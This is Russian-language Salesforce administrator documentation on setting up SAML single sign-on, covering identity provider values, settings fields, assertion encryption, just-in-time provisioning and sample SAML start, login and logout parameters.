Salesforce Classic и
Lightning Experience

Интегрированная проверка
подлинности доступна в
версиях: все версии.

Делегированная проверка
подлинности доступна в
версиях: Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Поставщики проверки
подлинности доступны в
версиях: Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра параметров:
• «Просмотр настройки и

конфигурации»

Для редактирования
параметров:
• «Настройка

приложения»

И

«Изменение всех
данных»

Security Assertion Markup Language (SAML) — это стандарт на основе XML, позволяющий
обмениваться решениями проверки подлинности между разными службами. Данный
стандартиспользуетсямногимирешениямиединойвеб-регистрации. Система Salesforce
поддерживает SAML для единой регистрации в Salesforce посредством корпоративного
портала или поставщика удостоверений.

Основные действия по настройке функции единой регистрации посредством SAML
выполняются поставщиком удостоверений.

1. Выберите поставщика удостоверений SAML и определите способ его подключения
к системе Salesforce. Поставщик удостоверений SAML отправляет запросына единую
регистрацию в систему Salesforce.

2. Предоставьте поставщику удостоверений нужные сведения (например, URL-адреса
начальной страницы и страницы выхода).

3. Чтобы настроить систему Salesforce, выполните инструкции, указанные в разделе
«Настройка параметров SAML для единой регистрации». Данное действие является
единственным выполняемым в системе Salesforce.

Поставщик удостоверений должен отправить утверждения SAML в систему Salesforce
посредством профиля POST обозревателя единой веб-регистрации SAML. Система
Salesforceпосылаетответы SAML науказанныйвполе «URL-адрес входа для поставщика
удостоверений» адресвменю «Настройка», дляэтоговведитестроку «Единая регистрация»
в поле «Быстрый поиск», затем выберите пункт «Параметры единой регистрации».
Система Salesforce получает и сравнивает утверждение с конфигурацией Salesforce; если
утверждение является истинным, то единая регистрация разрешается.

Чтобы проверить утверждение SAML, содержащее ошибку после настройки SAML в
системе Salesforce, рекомендуем использовать средство проверки утверждения SAML.
Обратитевнимание, чтосначаладолжнобытьполученоутверждение SAML отпоставщика
удостоверений.

Чтобы определить причину неудачного входа посредством SAML, просмотрите журнал
входов SAML и сообщите данные сведения поставщику удостоверений.

Если поставщик удостоверений поддерживает метаданные, а SAML настраивается
посредством версии 2.0, нажмите кнопку «Загрузить метаданные», чтобы загрузить
файл конфигурации XML, который затем может быть передан для автоматической
настройки параметров подключения к организации Salesforce или сообществу.

Работа с поставщиком удостоверений

Настройка параметров SAML для единой регистрации

Просмотр параметров единой регистрации

Значения поставщика удостоверений

Настройка начальной страницы, страниц ошибок, входа и выхода SAML

Примеры утверждений SAML

Просмотр журнала входов SAML

Проверка параметров SAML для единой регистрации
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Ошибки проверки утверждения SAML

Работа с поставщиком удостоверений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Интегрированная проверка
подлинности доступна в
версиях: все версии.

Делегированная проверка
подлинности доступна в
версиях: Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Поставщики проверки
подлинности доступны в
версиях: Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра параметров:
• «Просмотр настройки и

конфигурации»

Для редактирования
параметров:
• «Настройка

приложения»

И

«Изменение всех
данных»

1. Ниже перечислены сведения, которые должны быть получены от поставщика
удостоверений перед настройкой системы Salesforce для использования SAML.

• Версия SAML, используемая поставщиком удостоверений (1.1 или 2.0)

• Код объекта поставщика удостоверений (или отправитель)

• Сертификат проверки подлинности.

Совет: Областьхранениясертификатадолжнабытьдоступнапосредством
обозревателя. Данный сертификат будет загружен в систему Salesforce на
последующем этапе.

• Следующие параметры утверждения SAML:

– Тип кода пользователя SAML

– Местоположение кода пользователя SAML

– Имя атрибута

– URI атрибута

– Формат кода имени

Прим.: Параметры «Имя атрибута», «URI атрибута» и «Формат кода имени»
задаются только в том случае, если параметру «Местоположение кода
пользователя SAML» задано значение «... находится в элементе Attribute».

Совет: Чтобы быстро настроить функцию единой регистрации,
импортируйте параметры SAML 2.0 из XML-файла (или URL-адреса,
указывающего на файл) на странице «Параметры единой регистрации».
Получите XML-файл от поставщика удостоверений.

При необходимости предоставьте поставщику удостоверений дополнительную
информацию о данных значениях.

Совет: Включите SAML в системе Salesforce и сделайте снимок страницы для
поставщика удостоверений. Введите строку «Параметры единой регистрации» в
поле «Быстрый поиск» в меню «Настройка», затем выберите пункт
«Параметрыединойрегистрации», щелкните«Правка»иустановитефлажок
«SAML включен».

2. Чтобынастроитьначальнуюстраницу, а такжестраницывходаивыхода, обратитесь
к поставщику удостоверений.

3. Предоставьте поставщику удостоверений доступ к примерам утверждений SAML,
позволяющим определить формат, который требуется системе Salesforce для
успешной единой регистрации.

СМ. ТАКЖЕ:

Общие сведения о SAML
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Настройка параметров SAML для единой регистрации

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Интегрированная проверка
подлинности доступна в
версиях: все версии.

Делегированная проверка
подлинности доступна в
версиях: Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Поставщики проверки
подлинности доступны в
версиях: Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра параметров:
• «Просмотр настройки и

конфигурации»

Для редактирования
параметров:
• «Настройка

приложения»

И

«Изменение всех
данных»

Данная страница позволяет настроить функцию единой регистрации в организации.
При необходимости пользователь может настроить функцию своевременной
инициализации. Чтобыправильнонастроитьданныепараметры, рекомендуемобратиться
к поставщику удостоверений. Дополнительную информацию офункции единой
регистрации см. в разделе «Общие сведения о единой регистрации». Дополнительную
информациюофункциисвоевременнойинициализациисм. вразделе «Общиесведения
о своевременной инициализации».

Чтобы настроить параметры SAML для единой регистрации в системе Salesforce
посредством корпоративного поставщика удостоверений, выполните указанные ниже
действия.

1. Получите сведения от поставщика удостоверений.

2. Предоставьте сведения поставщику удостоверений.

3. Настройте функцию единой регистрации.

4. При необходимости настройте поставщика удостоверений для шифрования
утверждений SAML.

5. При необходимости включите функцию своевременной инициализации
пользователя.

6. Отредактируйте средство обработки своевременной инициализации SAML (при
выборе параметра «Настраиваемая SAML со средством обработки Apex» для
своевременной инициализации).

7. Протестируйте подключение единой регистрации.

Настройка функции единой регистрации

1. В Salesforce введите строку «Параметры единой регистрации» вполе «Быстрый поиск»
в меню «Настройка», затем выберите пункт «Параметры единой регистрации» и
щелкните «Правка».

2. Установитефлажок «SAML включен». Параметрыединойрегистрации SAML могут
быть просмотрены только после включения SAML.

3. Укажите версию SAML, используемую поставщиком удостоверений.

4. Нажмите кнопку «Сохранить».

5. Чтобы создать конфигурацию, нажмите соответствующую кнопку в разделе
«Параметры единой регистрации SAML».

• «Создать»: настройка всех параметров вручную.

• «Создать из файла метаданных»: импорт параметров SAML 2.0 из XML-файла
от поставщика удостоверений. Данный алгоритм считывает XML-файл и
использует его для настройки как можно большего количества параметров.

Прим.: Еслифайл XML содержитсведенияболеечемоднойконфигурации, используетсяперваяобнаруженная
в файле конфигурация.

• «Создать из URL-адреса метаданных»: импорт параметров SAML 2.0 из общедоступного URL-адреса. Данный
алгоритм считывает XML-файл, расположенный по общедоступному URL-адресу, и использует его для настройки
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какможнобольшегоколичествапараметров. URL-адресдолженбытьдобавленнастраницу «Параметрыудаленного
узла» для его доступности из организации Salesforce.

6. Заполните поле «Имя».

Система Salesforce заполняет поле «API-имя» соответствующим значением, которое при необходимости может быть
изменено.

7. Заполнитеполе «Отправитель». Какправило, данноезначениесчитаетсякодомобъектадляпоставщикаудостоверений.

8. Если организация Salesforce использует развернутые домены, укажите, что следует использовать: стандартный домен
(https://saml.salesforce.com) или настраиваемый домен для параметра «Код объекта». Данные сведения
должны быть переданы поставщику удостоверений.

Совет: Как правило, настраиваемый домен используется в качестве кода объекта. Если развертывание домена
выполняется после настройки единой регистрации, то кодом объекта считается стандартный домен. При
использованиифункции Salesforce to Salesforce рекомендуем указать настраиваемый домен.

9. Чтобы найти и загрузить сертификат проверки подлинности, созданный поставщиком удостоверений, нажмите
кнопку «Обзор» напротив поля «Сертификат поставщика удостоверений».

10. Заполнитеполе «Сертификат подписи запроса» любымиз сертификатов, сохраненныхна странице «Управление
сертификатами и ключами».

11. Заполнитеполе «Метод подписи запроса» алгоритмомхэшированиядлязашифрованныхзапросов («RSA-SHA1»
или «RSA-SHA256»).

12. Если поставщик удостоверенийшифрует утверждения SAML, заполните поле «Сертификат расшифровки
утверждения» предоставленнымсертификатом, сохраненнымнастранице«Управлениесертификатамииключами».
Данное поле доступно только организациям, поддерживающим несколько конфигураций единой регистрации.
Дополнительнуюинформациюсм. вподразделе«Настройкапоставщикаудостоверенийдляшифрованияутверждений
SAML».

13. Заполните поля «Тип удостоверения SAML», «Расположение удостоверения SAML» и другие поля, описанные в
разделе «Значения поставщика удостоверений», значениями, предоставленными поставщиком удостоверений.

14. Заполните поле «Связывание запросов, инициированных поставщиком услуг» соответствующим значением на
основе сведений, предоставленных поставщиком удостоверений.

15. Для SAML 2.0: если поставщик удостоверений использует специальные страницы входа и выхода, заполните поля
«URL-адрес входа для поставщика удостоверений» и «URL-адрес выхода для поставщика удостоверений»
соответственно.

Прим.: Данные поля доступны в организациях Developer Edition и безопасных организациях по умолчанию, а в
производственных организациях только при использованиифункции «Мой домен». Поля не отображаются в
пробных организациях или связанных безопасных средах.

16. Введите URL-адрес страницы для переадресации пользователей при возникновении ошибки входа SAML в поле
«URL-адрес настраиваемой ошибки». Данная страницадолжнабытьобщедоступной (например, страницаVisualforce
на общедоступном сайте). URL-адрес может быть абсолютным или относительным.

17. Принеобходимостинастройтефункциюсвоевременнойинициализациипользователя. Дополнительнуюинформацию
см. в подразделе «Включениефункции своевременной инициализации пользователя» и разделе «Общие сведения о
своевременной инициализации для SAML».

18. Нажмите кнопку «Сохранить».
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Еслипоставщикудостоверенийподдерживаетметаданные, а SAML настраиваетсяпосредствомверсии 2.0, нажмите кнопку
«Загрузить метаданные», чтобы загрузить файл конфигурации XML, который затем может быть передан для
автоматической настройки параметров подключения к организации Salesforce или сообществу.

Настройка поставщика удостоверений для шифрования утверждений SAML

Прииспользованиисистемы Salesforce в качествепоставщикауслуг для входящихутверждений SAML рекомендуемвыбрать
сохраненный сертификат для расшифровки входящих утверждений от сторонних поставщиков удостоверений. Кроме
того, предоставьте копию данного сертификата поставщику удостоверений.

1. На странице параметров единой регистрации в настройках создайте новую конфигурацию SAML.

2. Заполните поле «Сертификат расшифровки утверждения» любым из сертификатов, сохраненных на странице
«Управление сертификатами и ключами».

Прим.: При отсутствии поля «Сертификат расшифровки утверждения» рекомендуем включить поддержку
несколькихконфигурацийединойрегистрации (доступнотолькоорганизациям, созданнымдовыпуска Summer'13,
которые не используют SAML 1.1). Чтобы включить поддержку нескольких конфигураций единой регистрации,
щелкните«Включитьнесколькоконфигураций»настранице«Параметрыединойрегистрации». Наличие
поля, но отсутствие кнопки «Включить несколько конфигураций» указывают на то, что данный параметр
уже включен.

3. Настройте «Расположение удостоверения SAML» на элемент, где расположен ваш идентификатор.

4. При сохранении новой конфигурации SAML система Salesforce изменяет значение поля «URL-адрес входа
Salesforce»  (или «URL-адрес ACS»). Получите новое значение (на странице «Параметры единой регистрации» в
меню «Настройка») ищелкните по имени новой конфигурации SAML. Значение отображается полем «URL-адрес
входа Salesforce».

5. Поставщик удостоверений должен использовать значение поля «URL-адрес входа Salesforce».

6. Предоставьте поставщику удостоверений копию сертификата, выбранного в поле «Сертификат расшифровки
утверждения», который должен использоваться для шифрования утверждений.

Включение функции своевременной инициализации пользователя

1. Установите флажок «Инициализация пользователя включена» в разделе «Параметры единой регистрации SAML».

• «Стандартная»: данный параметр позволяет автоматически инициализировать пользователей посредством
атрибутов утверждения.

• «Настраиваемая SAML со средством обработки Apex»: данный параметр позволяет инициализировать
пользователей на основе логики в классе Apex.

2. При выборе параметра «Стандартная» нажмите кнопку «Сохранить» и протестируйте подключение единой
регистрации. Привыборепараметра «Настраиваемая SAML со средством обработки Apex» перейдитекследующему
действию.

3. Выберите текущий класс Apex как класс средства обработки своевременной инициализации SAML в поле «Средство
обработки своевременной инициализации SAML». Данный класс должен реализовывать интерфейс SamlJitHandler.
При отсутствии класса Apex щелкните «Автоматически создавать шаблон средства обработки своевременной
инициализации SAML» для его создания. Прежде чем использовать данный класс, выполните его редактирование
путем изменения стандартного содержимого. Дополнительную информацию см. в подразделе «Редактирование
средства обработки своевременной инициализации SAML».
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4. Выберите пользователя, выполняющего класс Apex, в поле «Выполнить средство обработки как:». Пользователю
должно быть предоставлено полномочие «Управление пользователями».

5. Дляиспользованияфункциисвоевременнойинициализациитребуетсяуказатькодинтегрированиявтипепользователя.
Установитепереключатель «Утверждение содержит код интегрирования из объекта "Пользователь"» дляпараметра
«Тип удостоверения SAML». Поставщик удостоверений, который раньше использовал имя пользователя Salesforce,
должен быть уведомлен о необходимости использования кода интегрирования.

6. Нажмите кнопку «Сохранить».

Редактирование средства обработки своевременной инициализации SAML

1. Введите строку «Классы Apex» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Классы Apex».

2. Отредактируйте созданное средство обработки Apex своевременной инициализации SAML для соотнесения полей
между SAML и Salesforce. При необходимости измените созданный код для поддержки перечисленных ниже
компонентов.

• Настраиваемые поля

• Неточное совпадение профилей

• Неточное совпадение ролей

• Поиск контактов по адресу эл. почты

• Поиск организаций по номеру организации

• Стандартная инициализация пользователя в сообществе

• Стандартный вход пользователя в сообщество

• Стандартное использование кода профиля для своевременной инициализации на порталах

• Стандартное использование роли портала для своевременной инициализации на порталах

• Создание имени пользователя для своевременной инициализации на порталах

Например, найдите комментарий «Обработать настраиваемые поля здесь» в созданном коде для поддержки
настраиваемых полей в созданном коде средства обработки. Вставьте код настраиваемого поля после данного
комментария. Дополнительную информацию и примеры см. в документации к интерфейсу SamlJitHandler.

Прим.: Еслипоставщикудостоверенийотправляет атрибутысвоевременнойинициализациидляобъекта «Контакт»
или «Организация» в одном утверждении с объектом «Пользователь», то созданному средству обработки может
быть недоступно выполнение обновлений. Список полей объекта «Пользователь», которые не могут обновляться
одновременно с полями объекта «Контакт» или «Организация», см. в разделе «Объекты sObject, которые не могут
использоваться вместе в операциях DML».

Тестирование подключения единой регистрации

Чтобы протестировать настроенные и сохраненные параметры SAML, рекомендуем открыть приложение поставщика
удостоверений. Поставщик удостоверений предписывает обозревателю пользователя отправить форму, содержащую
утверждения SAML, на страницувхода Salesforce. Системапроверяет каждое утверждениеиразрешает единуюрегистрацию
при успешной проверке.

При возникновении ошибки единой регистрации после настройки и сохранения параметров SAML рекомендуем
воспользоваться средством проверки утверждения SAML. Обратите внимание, что сначала должно быть получено
утверждение SAML от поставщика удостоверений.

Чтобы определить причину неудачного входа посредством SAML, просмотрите журнал входов SAML и сообщите данные
сведения поставщику удостоверений.

981

Безопасность подключенияНастройка и обслуживание организации Salesforce

https://developer.salesforce.com/docs/atlas.en-us.apexcode.meta/apexcode/apex_interface_Auth_SamlJitHandler.htm
https://developer.salesforce.com/docs/atlas.en-us.apexcode.meta/apexcode/apex_dml_non_mix_sobjects.htm
https://developer.salesforce.com/docs/atlas.en-us.apexcode.meta/apexcode/apex_dml_non_mix_sobjects.htm


Прииспользовании SAML 2.0: поле «Конечная точка маркера OAuth 2.0» заполняется после настройки SAML. Рекомендуем
использовать данное значение в процессе проверки подлинности единой веб-регистрации для OAuth 2.0.

СМ. ТАКЖЕ:

Общие сведения о SAML

Рекомендации по внедрению единой регистрации

Проверка параметров SAML для единой регистрации

Общие сведения о сертификатах и ключах Salesforce
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Просмотр параметров единой регистрации

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Интегрированная проверка
подлинности доступна в
версиях: все версии.

Делегированная проверка
подлинности доступна в
версиях: Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Поставщики проверки
подлинности доступны в
версиях: Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра параметров:
• «Просмотр настройки и

конфигурации»

Для редактирования
параметров:
• «Настройка

приложения»

И

«Изменение всех
данных»

Параметрыединойрегистрациимогутбытьпросмотренытолькопосленастройки SAML
в организации Salesforce. Введите строку «Параметры единой регистрации» в поле
«Быстрый поиск» в меню «Настройка», затем выберите пункт «Параметры единой
регистрации».

Данная страница содержит сведения о конфигурации SAML. Как правило, данные поля
аналогичныполям на странице настройки SAML. Ниже перечисленыполя, содержащие
сведения, которыесоздаются автоматическипризаполненииконфигурации. Доступные
поля определяются конфигурацией.

ОписаниеПоле

Только для SAML 2.0: если параметру «Тип кода пользователя
SAML» задано значение «Утверждение содержит имя
пользователя Salesforce», а параметру «Местоположение кода
пользователя SAML» задано значение «Код пользователя
находится в элементе NameIdentifier оператора Subject», тоданный
URL-адрес соответствует URL-адресу, связанному со входом для
процесса утверждения OAuth единой веб-регистрации.

URL-адрес входа
Salesforce

Только для SAML 2.0: отображение URL-адреса выхода Salesforce,
на который перенаправляется пользователь после выхода.
Данный URL-адресиспользуется толькоприотсутствиизначения
в поле «URL-адрес выхода для поставщика удостоверений».

URL-адрес выхода
Salesforce

Только для SAML 2.0: URL-адрес ACS, используемый при
включении системы Salesforce в качестве поставщика
удостоверений в процессе утверждения OAuth единой
веб-регистрации.

Конечная точка
маркера OAuth

2.0

Ниже перечислены действия, доступные на данной странице.

• Чтобы изменить текущую конфигурацию SAML, щелкните «Правка».

• Чтобыпроверитьпараметры SAML посредствомутверждения SAML, предоставленного
поставщикомудостоверений, щелкнитессылку «Средствопроверкиутверждения
SAML».

• Если поставщик удостоверений поддерживает метаданные, а SAML настраивается
посредствомверсии 2.0, нажмите кнопку «Загрузитьметаданные», чтобызагрузить
файл конфигурации XML, который затем может быть передан для автоматической
настройки параметров подключения к организации Salesforce или сообществу.

СМ. ТАКЖЕ:

Общие сведения о SAML
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Значения поставщика удостоверений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Интегрированная проверка
подлинности доступна в
версиях: все версии.

Делегированная проверка
подлинности доступна в
версиях: Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Поставщики проверки
подлинности доступны в
версиях: Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра параметров:
• «Просмотр настройки и

конфигурации»

Для редактирования
параметров:
• «Настройка

приложения»

И

«Изменение всех
данных»

Прежде чем настроить SAML в системе Salesforce, рекомендуем принять сведения от
поставщика удостоверений. Данные сведения должны использоваться на странице
единой регистрации.

Ниже приведены сведения, которые могут быть полезны поставщику удостоверений.

ОписаниеПоле

Версия SAML, используемая поставщиком удостоверений. В
настоящее время система Salesforce поддерживает версии 1.1 и
2.0. Спецификации SAML для разных версий см. ниже.

Версия SAML

• SAML 1.1

• SAML 2.0

Кодобъекта — этоуникальный URL-адрес, идентифицирующий
поставщика удостоверений SAML. Утверждения SAML,
отправленные в систему Salesforce, должны полностью
соответствоватьданномузначениюватрибуте <saml:Issuer>
утверждений SAML.

Отправитель

Отправитель в запросах SAML, созданных системой Salesforce, а
такжеожидаемая аудиториялюбыхвходящихответов SAML. При
отсутствии развернутых доменов система всегда использует
следующеезначение: https://saml.salesforce.com. При
наличии развернутых доменов Salesforce рекомендует
использовать имя настраиваемого домена. Данное значение
доступнонастранице «Параметрыединойрегистрации». Введите
строку «Параметры единой регистрации» вполе «Быстрый поиск»
вменю «Настройка», затемвыберитепункт«Параметрыединой
регистрации».

Код объекта

Сертификат проверки подлинности, созданный поставщиком
удостоверений.

Сертификат
поставщика
удостоверений

Сертификат (сохраненный на странице «Управление
сертификатамииключами»), используетсядлясозданияподписи
для запроса SAML, отправляемого поставщику удостоверений,
при условии, что система Salesforce является поставщиком услуг
для входа SAML, инициированного поставщиком услуг. При
отсутствиисертификата, сохраненногонастранице «Управление
сертификатами и ключами», система Salesforce использует по

Сертификат
подписи запроса

умолчаниюглобальныйсертификатпрокси-сервера. Вотличие
от глобального сертификата прокси-сервера, сохраненный
сертификат подписи позволяет повысить контроль над
событиями (например, истечение срока действия сертификата).

Алгоритм хэширования для зашифрованных запросов
(RSA-SHA1 или RSA-SHA256).

Метод подписи
запроса
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ОписаниеПоле

Элемент утверждения SAML, содержащий строку, которая определяет пользователя
Salesforce. Возможные значения:

Утверждение содержит имя пользователя Salesforce
Рекомендуемиспользоватьданныйпараметр, еслипоставщикудостоверенийпередает
имя пользователя Salesforce в утверждениях SAML.

Тип удостоверения SAML

Утверждение содержит код интегрирования из объекта «Пользователь»
Рекомендуемиспользоватьданныйпараметр, еслипоставщикудостоверенийпередает
идентификатор внешнего пользователя (например, код сотрудника) в утверждении
SAML для определения пользователя.

Утверждение содержит код пользователя из объекта «Пользователь»
Рекомендуемиспользоватьданныйпараметр, еслипоставщикудостоверенийпередает
идентификаторвнутреннегопользователя (например, кодпользователяизорганизации
Salesforce) в утверждении SAML для определения пользователя.

Местоположение утверждения, определяющее пользователя. Возможные значения:

Удостоверение находится в элементе NameIdentifier оператора Subject
Поле Salesforce Username или FederationIdentifier находится в операторе
<Subject> утверждения.

Расположение удостоверения
SAML

Удостоверение находится в элементе Attribute
Поле Salesforce Username или FederationIdentifier находится в операторе
<AttributeValue>, расположенном в операторе <Attribute> утверждения.

При выборе значения «Удостоверение находится в элементе Attribute» данное
поле содержит значение AttributeName, указанное в операторе <Attribute>,
содержащем код пользователя.

Имя атрибута

При выборе версии SAML 1.1 и значения «Удостоверение находится в элементе
Attribute» данное поле содержит значение AttributeNamespace, указанное в
операторе <Attribute>.

URI атрибута

При выборе версии SAML 2.0 и значения «Удостоверение находится в элементе
Attribute» данное поле содержит значение для элемента nameid-format.

Формат кода имени

Возможныезначения: unspecified, emailAddress и persistent. Всевозможные
значения см. в разделе Name Identifier Format Identifiers документа Assertions and Protocols
SAML 2.0 specification.

При использованиифункции «Мой домен» выберите механизм связывания,
запрашиваемыйпоставщикомудостоверенийдлясообщений SAML. Возможныезначения:

HTTP POST
Связывание «HTTP POST» отправляет сообщения SAML посредством HTML-форм,
закодированных в base64.

Связывание запросов,
инициированных
поставщиком услуг

Переадресация HTTP
Связывание «Переадресация HTTP» отправляет сообщения SAML, закодированные в
base64 и URL, посредством параметров URL-адреса.
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ОписаниеПоле

Независимо от выбранного способа связывания запросов, ответ SAML всегда использует
связывание «HTTP POST».

Только для SAML 2.0: URL-адрес, используемый системой Salesforce для отправки запроса
SAML на запуск процесса входа.

При наличии развернутых доменов и значения, заданного для данного поля, запросы на
входобычноотправляютсяпоадресу, заданномуданнымполем. Чтобыпропуститьданное

URL-адрес входа для
поставщика удостоверений

значение (например, если поставщик удостоверений не отвечает), добавьте параметр
login в строку запроса для страницы входа. Например:
http://mydomain.my.salesforce.com?login.

Прим.: Данное поле доступно в организациях Developer Edition и безопасных
организациях по умолчанию, а в производственных организациях только при
использованиифункции «Мой домен». Данное поле не отображается в пробных
организациях или связанных безопасных средах.

Только для SAML 2.0: URL-адрес, на который перенаправляется пользователь при выборе
ссылки «Выход» в системе Salesforce. Значение по умолчанию:
http://www.salesforce.com.

URL-адрес выхода для
поставщика удостоверений

Прим.: Данное поле доступно в организациях Developer Edition и безопасных
организациях по умолчанию, а в производственных организациях только при
использованиифункции «Мой домен». Данное поле не отображается в пробных
организациях или связанных безопасных средах.

URL-адрес, связанный со входом для процесса единой регистрации веб-обозревателя.URL-адрес входа
Salesforce

Только для SAML 2.0: URL-адрес ACS, используемый API при включении системы Salesforce
в качестве поставщика удостоверений в процессе утверждения OAuth единой
веб-регистрации.

Конечная точка маркера
OAuth 2.0

URL-адрес страницыдляпереадресациипользователейпривозникновенииошибкивхода
SAML. Данная страница должна быть общедоступной (например, страница Visualforce на
общедоступном сайте). URL-адрес может быть абсолютным или относительным.

URL-адрес настраиваемой
ошибки

Значения URL-адресов начальной страницы, а также страниц входа и выхода

Помимо сведений, используемых во время единой регистрации, поставщик удостоверенийможет настроить начальную
страницу, а также страницывходаивыхода. Данныестраницымогутбыть заданысамостоятельнопринастройкефункции
единой регистрации.

Ниже приведены сведения, которые могут быть полезны поставщику удостоверений при настройке данных страниц.

• Спецификация SAML поддерживает HTML-форму, используемую для передачи утверждения SAML посредством HTTPS
POST.

• При использовании SAML 1.1 поставщик удостоверений SAML может внедрять пары «имя-значение» в поле TARGET
дляпередачиданныхдополнительныхсведенийвсистемуSalesforce, дополненныхспециальнымотформатированным
URL-адресом, который содержит закодированные параметры.
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• URL-адрес для SAML 1.1, подлежащий добавлению в поле TARGET, выглядит следующим образом:
https://saml.salesforce.com/?.

• При использовании SAML 2.0 поставщики удостоверений используют взамен поля TARGET оператор
<AttributeStatement> утверждения SAML для ввода дополнительной информации.

• Ниже перечислены параметры, поддерживаемые системой Salesforce.

Прим.: Прииспользовании SAML 1.1 данныепараметрыдолжныбытьзакодированы. Данныйалгоритмпозволяет
корректнообрабатывать URL-адреса, переданныевкачестве значений, которыесодержат собственныепараметры.
При использовании SAML 2.0 данные параметры являются частью оператора <AttributeStatement>.

– ssoStartPage: страница, накоторуюдолженбытьперенаправленпользовательприпопыткевходапосредством
SAML. Данная страница открывается при запросе защищенного ресурса в системе Salesforce без активного сеанса.
Страница ssoStartPage должна соответствовать странице входа поставщика удостоверений SAML.

– startURL: URL-адрес, накоторыйперенаправляетсяпользовательпослеуспешнойрегистрации. Данный URL-адрес
можетбытьабсолютным (например, https://na1.salesforce.com/001/o) илиотносительным (например,
/001/o). Данныйпараметр используется только в SAML 1.1. Еслипоставщик удостоверенийиспользует SAML 2.0,
то начальный URL-адрес — это страница, которую пытается открыть непроверенный пользователь.

– logoutURL: URL-адрес, на который перенаправляется пользователь при выборе ссылки «Выход» в системе
Salesforce. Значение по умолчанию: http://www.salesforce.com.

Нижеприведенпримерполя TARGET для SAML 1.1, содержащего правильно закодированныепараметры. Поле передает
настраиваемую начальную страницу, а также URL-адреса входа и выхода, внедренные в качестве значений параметра в
строку запроса.

https://saml.salesforce.com/?ssoStartPage=https%3A%2F
%2Fwww.customer.org%2Flogin%2F&startURL=%2F001%2Fo&logoutURL=http%3A%2F%2Fwww.salesforce.com

Ниже приведен пример оператора <AttributeStatement> для SAML 2.0, содержащего параметры ssoStartPage
и logoutURL.

<saml:AttributeStatement>
<saml:Attribute Name="ssoStartPage"

NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema"

xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:anyType">
http://www.customer.org

</saml:AttributeValue>
</saml:Attribute>

<saml:Attribute Name="logoutURL"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">

<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">

https://www.salesforce.com
</saml:AttributeValue>

</saml:Attribute>
</saml:AttributeStatement>

СМ. ТАКЖЕ:

Общие сведения о SAML
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Настройка начальной страницы, страниц ошибок, входа и выхода SAML

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Интегрированная проверка
подлинности доступна в
версиях: все версии.

Делегированная проверка
подлинности доступна в
версиях: Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Поставщики проверки
подлинности доступны в
версиях: Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра параметров:
• «Просмотр настройки и

конфигурации»

Для редактирования
параметров:
• «Настройка

приложения»

И

«Изменение всех
данных»

Начальная страница, а также страницы ошибок, входа и выхода, могут быть настроены
дляединойрегистрациипользователейпосредством SAML 1.1 или 2.0. Нижеперечислены
компоненты, которые должны быть настроены в рамках конфигурации.

• Если поставщик удостоверений использует SAML 1.1, то URL-адрес, на который
перенаправляется пользователь после успешной единой регистрации (называется
начальной страницей). Данный URL-адрес может быть абсолютным (например,
https://na1.salesforce.com/001/o) или относительным (например,
/001/o). Данный URL-адресдолженбыть конечнойточкой, принимающейзапросы
на проверку подлинности SAML.

Если поставщик удостоверений использует SAML 2.0, то начальная страница — это
страница, которую пытается открыть непроверенный пользователь. Начальная
страница SAML 2.0 должна поддерживать единую регистрацию, инициированную
поставщиком услуг.

При использовании SAML 2.0 параметр RelayState позволяет определить адрес,
на который перенаправляются пользователи при успешном входе.

• Начальная страница единой регистрации, используемая системой Salesforce для
отправки запроса SAML на запуск процесса входа.

Помимо начальной страницы единой регистрации, рекомендуем также выбрать
страницувыхода, открывающуюсяпривыходепользователяилиистечениивремени
сеанса. В противном случае пользователь перенаправляется на общую страницу
входа Salesforce.

• URL-адрес, на который перенаправляется пользователь при выборе ссылки «Выход»
в системе Salesforce (называется страницей выхода). Если функция «Мой домен»
выключена, то по умолчанию используется URL-адрес
https://login.salesforce.com. В противном случае, по умолчанию
используется URL-адрес https://настраиваемый_домен.my.salesforce.com.

При использовании SAML 2.0 данные значения могут быть заданы во время настройки
функции единой регистрации или поставщиком удостоверений в утверждении SAML
или URL-адресе входа. Порядок очередности:

1. Сеансовый cookie-файл (если вход в систему Salesforce выполняется при наличии
cookie-файла, то система использует страницы входа и выхода, заданные сеансовым
cookie-файлом).

2. Значения, переданные поставщиком удостоверений.

3. Значения со страницы конфигурации единой регистрации.

